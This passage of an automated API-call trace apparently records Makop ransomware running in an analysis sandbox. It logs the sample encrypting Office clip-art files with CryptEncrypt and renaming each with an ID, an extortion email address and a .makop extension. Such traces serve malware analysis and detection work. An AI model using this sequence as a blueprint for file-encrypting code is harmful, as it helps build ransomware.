hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.954] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.955] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.955] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.955] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x788, lpOverlapped=0x0) returned 1 [0115.955] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790, dwBufLen=0x790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790) returned 1 [0115.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x790, lpOverlapped=0x0) returned 1 [0115.956] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.956] SetEndOfFile (hFile=0xf0) returned 1 [0115.963] GetProcessHeap () returned 0x48a0000 [0115.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.963] GetProcessHeap () returned 0x48a0000 [0115.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.963] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.964] CloseHandle (hObject=0xf0) returned 1 [0115.965] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0115.965] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0115.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.965] GetProcessHeap () returned 0x48a0000 [0115.965] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.965] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.966] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0115.970] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.970] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.970] GetProcessHeap () returned 0x48a0000 [0115.971] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.971] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.971] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.971] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.971] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.971] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.971] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.971] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.972] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.972] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.972] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.972] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x23d4, lpOverlapped=0x0) returned 1 [0115.974] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23e0, dwBufLen=0x23e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23e0) returned 1 [0115.974] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.974] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x23e0, lpOverlapped=0x0) returned 1 [0115.974] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.974] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x24b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.974] SetEndOfFile (hFile=0xf0) returned 1 [0115.981] GetProcessHeap () returned 0x48a0000 [0115.981] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.981] GetProcessHeap () returned 0x48a0000 [0115.981] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.981] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.981] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.983] CloseHandle (hObject=0xf0) returned 1 [0115.983] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0115.983] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0115.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.985] GetProcessHeap () returned 0x48a0000 [0115.985] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.985] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.990] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.990] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.990] GetProcessHeap () returned 0x48a0000 [0115.990] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.990] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.990] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.990] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.990] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.990] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.991] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.991] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.991] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.991] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.991] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x31cc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x31cc, lpOverlapped=0x0) returned 1 [0116.004] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31d0, dwBufLen=0x31d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31d0) returned 1 [0116.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x31d0, lpOverlapped=0x0) returned 1 [0116.005] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x32a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.005] SetEndOfFile (hFile=0xf0) returned 1 [0116.012] GetProcessHeap () returned 0x48a0000 [0116.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.013] GetProcessHeap () returned 0x48a0000 [0116.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.013] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.015] CloseHandle (hObject=0xf0) returned 1 [0116.015] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0116.015] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0116.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.016] GetProcessHeap () returned 0x48a0000 [0116.016] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.016] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.016] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.021] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.021] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.021] GetProcessHeap () returned 0x48a0000 [0116.021] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.021] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.021] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.021] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.021] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.021] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.022] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.022] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.022] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.022] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b08, lpOverlapped=0x0) returned 1 [0116.024] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b10) returned 1 [0116.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b10, lpOverlapped=0x0) returned 1 [0116.024] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.025] SetEndOfFile (hFile=0xf0) returned 1 [0116.031] GetProcessHeap () returned 0x48a0000 [0116.031] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.031] GetProcessHeap () returned 0x48a0000 [0116.031] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.032] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.033] CloseHandle (hObject=0xf0) returned 1 [0116.033] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0116.034] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0116.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.034] GetProcessHeap () returned 0x48a0000 [0116.035] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.035] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.035] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.035] WriteFile (in: 